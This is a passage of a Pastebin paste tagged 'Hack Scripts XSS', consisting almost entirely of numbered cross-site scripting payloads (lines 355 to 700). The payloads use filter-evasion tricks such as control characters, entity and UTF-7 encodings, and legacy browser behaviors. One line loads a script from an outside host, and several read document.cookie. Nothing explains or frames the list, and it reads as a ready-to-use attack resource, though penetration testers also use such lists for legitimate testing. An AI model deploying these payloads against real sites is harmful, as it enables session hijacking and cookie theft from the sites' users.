  355. <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  356. <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  357. <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  358. <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  359. <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  360. <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  361. <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  362. <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  363. <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  364. <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  365. <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  366. <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  367. <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  368. <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  369. <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  370. <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  371. <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  372. <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  373. <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  374. <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  375. <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  376. <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  377. <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  378. <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  379. <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  380. <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  381. <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  382. <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  383. <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  384. <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  385. <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  386. <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  387. <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  388. <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  389. <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  390. <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  391. <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  392. <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  393. <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  394. <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  395. <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  396. <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  397. <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  398. <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  399. <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  400. <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  401. <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
  402. <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
  403. <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
  404. <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
  405. <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
  406. `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
  407. `"'><img src=xxx:x \x22onerror=javascript:alert(1)>
  408. `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
  409. `"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
  410. `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
  411. `"'><img src=xxx:x \x09onerror=javascript:alert(1)>
  412. `"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
  413. `"'><img src=xxx:x \x00onerror=javascript:alert(1)>
  414. `"'><img src=xxx:x \x27onerror=javascript:alert(1)>
  415. `"'><img src=xxx:x \x20onerror=javascript:alert(1)>
  416. "`'><script>\x3Bjavascript:alert(1)</script>
  417. "`'><script>\x0Djavascript:alert(1)</script>
  418. "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
  419. "`'><script>\xE2\x80\x81javascript:alert(1)</script>
  420. "`'><script>\xE2\x80\x84javascript:alert(1)</script>
  421. "`'><script>\xE3\x80\x80javascript:alert(1)</script>
  422. "`'><script>\x09javascript:alert(1)</script>
  423. "`'><script>\xE2\x80\x89javascript:alert(1)</script>
  424. "`'><script>\xE2\x80\x85javascript:alert(1)</script>
  425. "`'><script>\xE2\x80\x88javascript:alert(1)</script>
  426. "`'><script>\x00javascript:alert(1)</script>
  427. "`'><script>\xE2\x80\xA8javascript:alert(1)</script>
  428. "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
  429. "`'><script>\xE1\x9A\x80javascript:alert(1)</script>
  430. "`'><script>\x0Cjavascript:alert(1)</script>
  431. "`'><script>\x2Bjavascript:alert(1)</script>
  432. "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
  433. "`'><script>-javascript:alert(1)</script>
  434. "`'><script>\x0Ajavascript:alert(1)</script>
  435. "`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
  436. "`'><script>\x7Ejavascript:alert(1)</script>
  437. "`'><script>\xE2\x80\x87javascript:alert(1)</script>
  438. "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
  439. "`'><script>\xE2\x80\xA9javascript:alert(1)</script>
  440. "`'><script>\xC2\x85javascript:alert(1)</script>
  441. "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
  442. "`'><script>\xE2\x80\x83javascript:alert(1)</script>
  443. "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
  444. "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
  445. "`'><script>\xE2\x80\x80javascript:alert(1)</script>
  446. "`'><script>\x21javascript:alert(1)</script>
  447. "`'><script>\xE2\x80\x82javascript:alert(1)</script>
  448. "`'><script>\xE2\x80\x86javascript:alert(1)</script>
  449. "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
  450. "`'><script>\x0Bjavascript:alert(1)</script>
  451. "`'><script>\x20javascript:alert(1)</script>
  452. "`'><script>\xC2\xA0javascript:alert(1)</script>
  453. "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
  454. "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
  455. "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
  456. "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
  457. "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
  458. "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
  459. "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
  460. "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
  461. "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
  462. <script\x2F>javascript:alert(1)</script>
  463. <script\x20>javascript:alert(1)</script>
  464. <script\x0D>javascript:alert(1)</script>
  465. <script\x0A>javascript:alert(1)</script>
  466. <script\x0C>javascript:alert(1)</script>
  467. <script\x00>javascript:alert(1)</script>
  468. <script\x09>javascript:alert(1)</script>
  469. "><img src=x onerror=javascript:alert(1)>
  470. "><img src=x onerror=javascript:alert('1')>
  471. "><img src=x onerror=javascript:alert("1")>
  472. "><img src=x onerror=javascript:alert(`1`)>
  473. "><img src=x onerror=javascript:alert(('1'))>
  474. "><img src=x onerror=javascript:alert(("1"))>
  475. "><img src=x onerror=javascript:alert((`1`))>
  476. "><img src=x onerror=javascript:alert(A)>
  477. "><img src=x onerror=javascript:alert((A))>
  478. "><img src=x onerror=javascript:alert(('A'))>
  479. "><img src=x onerror=javascript:alert('A')>
  480. "><img src=x onerror=javascript:alert(("A"))>
  481. "><img src=x onerror=javascript:alert("A")>
  482. "><img src=x onerror=javascript:alert((`A`))>
  483. "><img src=x onerror=javascript:alert(`A`)>
  484. `"'><img src=xxx:x onerror\x0B=javascript:alert(1)>
  485. `"'><img src=xxx:x onerror\x00=javascript:alert(1)>
  486. `"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
  487. `"'><img src=xxx:x onerror\x0D=javascript:alert(1)>
  488. `"'><img src=xxx:x onerror\x20=javascript:alert(1)>
  489. `"'><img src=xxx:x onerror\x0A=javascript:alert(1)>
  490. `"'><img src=xxx:x onerror\x09=javascript:alert(1)>
  491. <script>javascript:alert(1)<\x00/script>
  492. <img src=# onerror\x3D"javascript:alert(1)" >
  493. <input onfocus=javascript:alert(1) autofocus>
  494. <input onblur=javascript:alert(1) autofocus><input autofocus>
  495. <video poster=javascript:javascript:alert(1)//
  496. <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
  497. <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
  498. <video><source onerror="javascript:javascript:alert(1)">
  499. <video onerror="javascript:javascript:alert(1)"><source>
  500. <form><button formaction="javascript:javascript:alert(1)">X
  501. <body oninput=javascript:alert(1)><input autofocus>
  502. <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
  503. <frameset onload=javascript:alert(1)>
  504. <table background="javascript:javascript:alert(1)">
  505. <!--<img src="--><img src=x onerror=javascript:alert(1)//">
  506. <comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
  507. <![><img src="]><img src=x onerror=javascript:alert(1)//">
  508. <style><img src="</style><img src=x onerror=javascript:alert(1)//">
  509. <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
  510. <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
  511. <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
  512. <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
  513. <object data="data:text/html;base64,%(base64)s">
  514. <embed src="data:text/html;base64,%(base64)s">
  515. <b <script>alert(1)</script>0
  516. <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
  517. <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
  518. <embed src="javascript:alert(1)">
  519. <img src="javascript:alert(1)">
  520. <image src="javascript:alert(1)">
  521. <script src="javascript:alert(1)">
  522. <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
  523. <? foo="><script>javascript:alert(1)</script>">
  524. <! foo="><script>javascript:alert(1)</script>">
  525. </ foo="><script>javascript:alert(1)</script>">
  526. <? foo="><x foo='?><script>javascript:alert(1)</script>'>">
  527. <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
  528. <% foo><x foo="%><script>javascript:alert(1)</script>">
  529. <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
  530. <img \x00src=x onerror="alert(1)">
  531. <img \x47src=x onerror="javascript:alert(1)">
  532. <img \x11src=x onerror="javascript:alert(1)">
  533. <img \x12src=x onerror="javascript:alert(1)">
  534. <img\x47src=x onerror="javascript:alert(1)">
  535. <img\x10src=x onerror="javascript:alert(1)">
  536. <img\x13src=x onerror="javascript:alert(1)">
  537. <img\x32src=x onerror="javascript:alert(1)">
  538. <img\x47src=x onerror="javascript:alert(1)">
  539. <img\x11src=x onerror="javascript:alert(1)">
  540. <img \x47src=x onerror="javascript:alert(1)">
  541. <img \x34src=x onerror="javascript:alert(1)">
  542. <img \x39src=x onerror="javascript:alert(1)">
  543. <img \x00src=x onerror="javascript:alert(1)">
  544. <img src\x09=x onerror="javascript:alert(1)">
  545. <img src\x10=x onerror="javascript:alert(1)">
  546. <img src\x13=x onerror="javascript:alert(1)">
  547. <img src\x32=x onerror="javascript:alert(1)">
  548. <img src\x12=x onerror="javascript:alert(1)">
  549. <img src\x11=x onerror="javascript:alert(1)">
  550. <img src\x00=x onerror="javascript:alert(1)">
  551. <img src\x47=x onerror="javascript:alert(1)">
  552. <img src=x\x09onerror="javascript:alert(1)">
  553. <img src=x\x10onerror="javascript:alert(1)">
  554. <img src=x\x11onerror="javascript:alert(1)">
  555. <img src=x\x12onerror="javascript:alert(1)">
  556. <img src=x\x13onerror="javascript:alert(1)">
  557. <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
  558. <img src=x onerror=\x09"javascript:alert(1)">
  559. <img src=x onerror=\x10"javascript:alert(1)">
  560. <img src=x onerror=\x11"javascript:alert(1)">
  561. <img src=x onerror=\x12"javascript:alert(1)">
  562. <img src=x onerror=\x32"javascript:alert(1)">
  563. <img src=x onerror=\x00"javascript:alert(1)">
  564. <a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
  565. <img src="x` `<script>javascript:alert(1)</script>"` `>
  566. <img src onerror /" '"= alt=javascript:alert(1)//">
  567. <title onpropertychange=javascript:alert(1)></title><title title=>
  568. <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
  569. <!--[if]><script>javascript:alert(1)</script -->
  570. <!--[if<img src=x onerror=javascript:alert(1)//]> -->
  571. <script src="/\%(jscript)s"></script>
  572. <script src="\\%(jscript)s"></script>
  573. <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
  574. <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
  575. <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
  576. <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
  577. <style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
  578. <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
  579. <style>*[{}@import'%(css)s?]</style>X
  580. <div style="font-family:'foo&#10;;color:red;';">XXX
  581. <div style="font-family:foo}color=red;">XXX
  582. <// style=x:expression\28javascript:alert(1)\29>
  583. <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>
  584. <div style=content:url(%(svg)s)></div>
  585. <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
  586. <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
  587. <div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
  588. <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
  589. <div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>
  590. <x style="background:url('x&#1;;color:red;/*')">XXX</x>
  591. <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
  592. <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
  593. <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
  594. <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
  595. <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
  596. <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
  597. <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾
  598. X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
  599. 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>
  600. 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;>
  601. <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
  602. 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
  603. <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
  604. <x style="behavior:url(%(sct)s)">
  605. <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
  606. <event-source src="%(event)s" onload="javascript:alert(1)">
  607. <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
  608. <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;">
  609. <script>%(payload)s</script>
  610. <script src=%(jscript)s></script>
  611. <script language='javascript' src='%(jscript)s'></script>
  612. <script>javascript:alert(1)</script>
  613. <IMG SRC="javascript:javascript:alert(1);">
  614. <IMG SRC=javascript:javascript:alert(1)>
  615. <IMG SRC=`javascript:javascript:alert(1)`>
  616. <SCRIPT SRC=%(jscript)s?<B>
  617. <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
  618. <BODY ONLOAD=javascript:alert(1)>
  619. <BODY ONLOAD=javascript:javascript:alert(1)>
  620. <IMG SRC="jav ascript:javascript:alert(1);">
  621. <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
  622. <SCRIPT/SRC="%(jscript)s"></SCRIPT>
  623. <<SCRIPT>%(payload)s//<</SCRIPT>
  624. <IMG SRC="javascript:javascript:alert(1)"
  625. <iframe src=%(scriptlet)s <
  626. <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
  627. <IMG DYNSRC="javascript:javascript:alert(1)">
  628. <IMG LOWSRC="javascript:javascript:alert(1)">
  629. <BGSOUND SRC="javascript:javascript:alert(1);">
  630. <BR SIZE="&{javascript:alert(1)}">
  631. <LAYER SRC="%(scriptlet)s"></LAYER>
  632. <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
  633. <STYLE>@import'%(css)s';</STYLE>
  634. <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
  635. <XSS STYLE="behavior: url(%(htc)s);">
  636. <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
  637. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
  638. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
  639. <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
  640. <TABLE BACKGROUND="javascript:javascript:alert(1)">
  641. <TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
  642. <DIV STYLE="background-image: url(javascript:javascript:alert(1))">
  643. <DIV STYLE="width:expression(javascript:alert(1));">
  644. <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
  645. <XSS STYLE="xss:expression(javascript:alert(1))">
  646. <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
  647. <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
  648. <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
  649. <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
  650. <BASE HREF="javascript:javascript:alert(1);//">
  651. <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
  652. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
  653. <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  654. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;"></BODY></HTML>
  655. <SCRIPT SRC="%(jpg)s"></SCRIPT>
  656. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
  657. <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
  658. <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  659. <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
  660. <STYLE>@import'%(css)s';</STYLE>
  661. <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
  662. <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
  663. <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
  664. <style onreadystatechange=javascript:javascript:alert(1);></style>
  665. <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
  666. <embed code=%(scriptlet)s></embed>
  667. <embed code=javascript:javascript:alert(1);></embed>
  668. <embed src=%(jscript)s></embed>
  669. <frameset onload=javascript:javascript:alert(1)></frameset>
  670. <object onerror=javascript:javascript:alert(1)>
  671. <embed type="image" src=%(scriptlet)s></embed>
  672. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
  673. <IMG SRC=&{javascript:alert(1);};>
  674. <a href="jav&#65ascript:javascript:alert(1)">test1</a>
  675. <a href="jav&#97ascript:javascript:alert(1)">test1</a>
  676. <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
  677. <iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>">
  678. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
  679. alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
  680. ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  681. '';!--"<XSS>=&{()}
  682. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  683. <IMG SRC="javascript:alert('XSS');">
  684. <IMG SRC=javascript:alert('XSS')>
  685. <IMG SRC=JaVaScRiPt:alert('XSS')>
  686. <IMG SRC=javascript:alert("XSS")>
  687. <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
  688. <a onmouseover="alert(document.cookie)">xxs link</a>
  689. <a onmouseover=alert(document.cookie)>xxs link</a>
  690. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  691. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  692. <IMG SRC=# onmouseover="alert('xxs')">
  693. <IMG SRC= onmouseover="alert('xxs')">
  694. <IMG onmouseover="alert('xxs')">
  695. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  696. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  697. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  698. <IMG SRC="jav ascript:alert('XSS');">
  699. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  700. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  701.  
Tags: Hack Scripts XSS
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!